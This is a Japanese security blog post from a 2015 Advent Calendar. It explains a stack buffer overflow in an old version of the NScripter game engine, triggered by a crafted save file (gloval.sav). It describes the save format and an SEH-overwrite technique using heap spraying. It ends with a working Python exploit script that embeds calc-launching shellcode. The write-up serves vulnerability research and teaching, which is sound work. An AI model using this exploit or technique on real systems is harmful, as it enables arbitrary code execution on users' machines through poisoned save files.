脆弱性"&'<<>\ Advent Calendar 2015 4日目の記事。
NScripterの旧バージョンに存在した脆弱性。細工されたセーブデータを読み込むと任意のコードを実行される可能性がある。
セーブデータの構造と脆弱性の種類
*define
globalon
game
*start
mov %200,1
mov $200,"ほげ"
mov %201,2
mov $201,"ふが"
end
例えばこのようなスクリプトで、数値変数%200
と%201
に1
と2
を、文字列変数$200
と$201
にあああ
といいい
を書き込むと、gloval.savは次のようになる。
構造はとても簡潔で、グローバル変数(デフォルトでは200以降)が、数値、文字列、数値、文字列、…という順番で並んでいるだけ、数値は4バイトリトルエンディアン、文字列はNULL終端文字列。
脆弱性は単なるスタックバッファオーバーフローで、この文字列の長さを1100バイトくらいにすると、gloval.savの読み込み時にプログラムが落ちる。
攻撃の方法について
スタックの値を0x00以外の任意の値にすることができるので、簡単に攻撃できるかと思いきや、なかなか難しい。
まずは、リターンアドレスの上書きが思いつくが、NScripterの場合は、ExitProcessによってプログラムを終了していて、この脆弱性で破壊できる位置までスタックが戻ることがない。
リターンアドレスの上書き以外の攻撃手段として、SEHオーバーライトがある。このサイトが詳しい。要はSEHハンドラをpop;pop;ret;
のアドレスに書き換えれば良い。
NScripter.exe中にもpop;pop;ret;
が存在するけれど、NScripter.exeの存在するアドレスには先頭バイトが0x00
。これについては、変数が何個もあり、スタックバッファーオーバーフローを何かも起こせるので、2回に分けて書き込めば良い。例えば、01 01 40 00 12 34 56 78
という値をスタックに書き込みたい場合、一度目はff ff ff ff 12 34 56 78 00
を書き込み、二度目で01 01 40 00
を書き込む。ただし、SEHオーバーライドを発動させるためには何らかの例外を起こす必要がある。NScripterの場合は、(たぶん)大量のデータを書き込むしかない。この方法だと、大量のデータを書き込んだ時点でせっかくスタックに書き込んだ0x00
が潰れてしまう。そもそも、NScripter.exeはSafeSEHが有効になっているので、例外ハンドラ以外の場所には飛べない。
ということで、ヒープにnop;nop;…;nop;pop;pop;ret;
というデータを用意して、そこに飛ばすしかない。NScripterの場合はgloval.savから読み込まれる変数がデフォルトでは(4096-200)個あるので、こういう文字列を3895個読み込ませ、最後にSEHオーバーライドで、0x03010101
とか0x04010101
あたりに飛ばすと運が良いとシェルコードが動く。
ただし、これが通用するのはWindows7まで。Windows7ではヒープは小さいアドレスから順に確保されていくが、Windows8ではランダム化されているので当たる確率が大きく下がる。また、Windows8ではSEHOPが有効になっていて、SEHチェインが壊れていると、SEHの処理が実行されない。exe単位でレジストリで無効にすることはできる。セキュリティも強化されているのでWindowsはなるべく新しいものを使おう。
そもそも脆弱性なのだろうか?
たいていのゲームエンジンにはOSコマンドを実行する機能があるだろうから、シナリオスクリプトを上書きして任意のコードが実行できるのは当たり前で、脆弱性にはならない気がする。そう考えると、セーブデータを上書きして任意のコードが実行できるというのは脆弱性なのかどうか微妙なラインだと思う。ネットで拾ったセーブデータを読み込ませるとか、作者の想定していないような使い方をするときは、重要なマシンでは実行しないなどユーザーが気をつけるべきなのかもしれない。
Exploit
最後にSEHオーバーライドする文字列の末尾にさらに文字列をつけて、例外を起こしている。
# Address of pop; pop; ret;
#p2ret = 0x01010101
#p2ret = 0x02010101
#p2ret = 0x03010101
p2ret = 0x04010101
import struct
# Shell code
# http://code.google.com/p/win-exec-calc-shellcode/
shell = ("31f656648b76308b760c8b761c8b6e08"
"8b368b5d3c8b5c1d7801eb8b4b1867e3"
"ec8b7b2001ef8b7c8ffc01ef31c09932"
"1766c1ca01ae75f76681fa10f5e0e275"
"cc8b532401ea0fb7144a8b7b1c01ef03"
"2c97682e6578656863616c6354870424"
"50ffd5"+
"33c0"+ # xor eax,eax
"33c9"+ # xor ecx,ecx
"49"+ # dec ecx
"648908"+ # mov fs:[eax],ecx
"cc" # int3
).decode("hex")
def p(n): return struct.pack("<I", n)
f = open("gloval.sav", "wb")
d = ""
d += p(0)
d += "\x90"*0x1000
d += "\x58\x58\xc3\x00" # pop eax; pop eax; ret;
for i in range(200,4096-1):
f.write(d)
d = ""
d += p(0)
d += "a"*0x408
d += p(0x909006eb) # jmp +6
d += p(p2ret)
d += shell
d += "a"*0x1000
f.write(d)